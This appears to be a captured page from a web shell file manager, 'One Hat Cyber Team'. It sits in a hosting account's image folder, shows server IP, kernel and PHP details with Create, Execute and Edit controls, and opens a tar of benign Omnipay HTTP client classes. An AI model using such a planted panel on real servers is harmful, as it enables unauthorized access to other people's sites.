One Hat Cyber Team
Your IP:
216.73.216.102
Server IP:
198.54.114.155
Server:
Linux server71.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Server Software:
LiteSpeed
PHP Version:
5.6.40
Create File
|
Create Folder
Execute
Dir :
~
/
home
/
fluxyjvi
/
public_html
/
assets
/
images
/
Edit File:
Http.tar
Client.php 0000644 00000004276 15107526077 0006516 0 ustar 00 <?php namespace Omnipay\Common\Http; use function GuzzleHttp\Psr7\str; use Http\Client\HttpClient; use Http\Discovery\HttpClientDiscovery; use Http\Discovery\MessageFactoryDiscovery; use Http\Message\RequestFactory; use Omnipay\Common\Http\Exception\NetworkException; use Omnipay\Common\Http\Exception\RequestException; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use Psr\Http\Message\StreamInterface; use Psr\Http\Message\UriInterface; class Client implements ClientInterface { /** * The Http Client which implements `public function sendRequest(RequestInterface $request)` * Note: Will be changed to PSR-18 when released * * @var HttpClient */ private $httpClient; /** * @var RequestFactory */ private $requestFactory; public function __construct($httpClient = null, RequestFactory $requestFactory = null) { $this->httpClient = $httpClient ?: HttpClientDiscovery::find(); $this->requestFactory = $requestFactory ?: MessageFactoryDiscovery::find(); } /** * @param $method * @param $uri * @param array $headers * @param string|array|resource|StreamInterface|null $body * @param string $protocolVersion * @return ResponseInterface * @throws \Http\Client\Exception */ public function request( $method, $uri, array $headers = [], $body = null, $protocolVersion = '1.1' ) { $request = $this->requestFactory->createRequest($method, $uri, $headers, $body, $protocolVersion); return $this->sendRequest($request); } /** * @param RequestInterface $request * @return ResponseInterface * @throws \Http\Client\Exception */ private function sendRequest(RequestInterface $request) { try { return $this->httpClient->sendRequest($request); } catch (\Http\Client\Exception\NetworkException $networkException) { throw new NetworkException($networkException->getMessage(), $request, $networkException); } catch (\Exception $exception) { throw new RequestException($exception->getMessage(), $request, $exception); } } } Exception.php 0000644 00000001235 15107526077 0007226 0 ustar 00 <?php namespace Omnipay\Common\Http; use Psr\Http\Message\RequestInterface; use Throwable; abstract class Exception extends \RuntimeException { /** @var RequestInterface */ protected $request; public function __construct($message, RequestInterface $request, $previous = null) { $this->request = $request; parent::__construct($message, 0, $previous); } /** * Returns the request. * * The request object MAY be a different object from the one passed to ClientInterface::sendRequest() * * @return RequestInterface */ public function getRequest() { return $this->request; } } ClientInterface.php 0000644 00000002047 15107526077 0010331 0 ustar 00 <?php namespace Omnipay\Common\Http; use Omnipay\Common\Http\Exception\NetworkException; use Omnipay\Common\Http\Exception\RequestException; use Psr\Http\Message\ResponseInterface; use Psr\Http\Message\StreamInterface; use Psr\Http\Message\UriInterface; interface ClientInterface { /** * Creates a new PSR-7 request. * * @param string $method * @param string|UriInterface $uri * @param array $headers * @param resource|string|StreamInterface|null $body * @param string $protocolVersion * * @throws RequestException when the HTTP client is passed a request that is invalid and cannot be sent. * @throws NetworkException if there is an error with the network or the remote server cannot be reached. * * @return ResponseInterface */ public function request( $method, $uri, array $headers = [], $body = null, $protocolVersion = '1.1' ); } Exception/RequestException.php 0000644 00000000202 15107526077 0012526 0 ustar 00 <?php namespace Omnipay\Common\Http\Exception; use Omnipay\Common\Http\Exception; class RequestException extends Exception { } Exception/NetworkException.php 0000644 00000000202 15107526077 0012527 0 ustar 00 <?php namespace Omnipay\Common\Http\Exception; use Omnipay\Common\Http\Exception; class NetworkException extends Exception { }
Simpan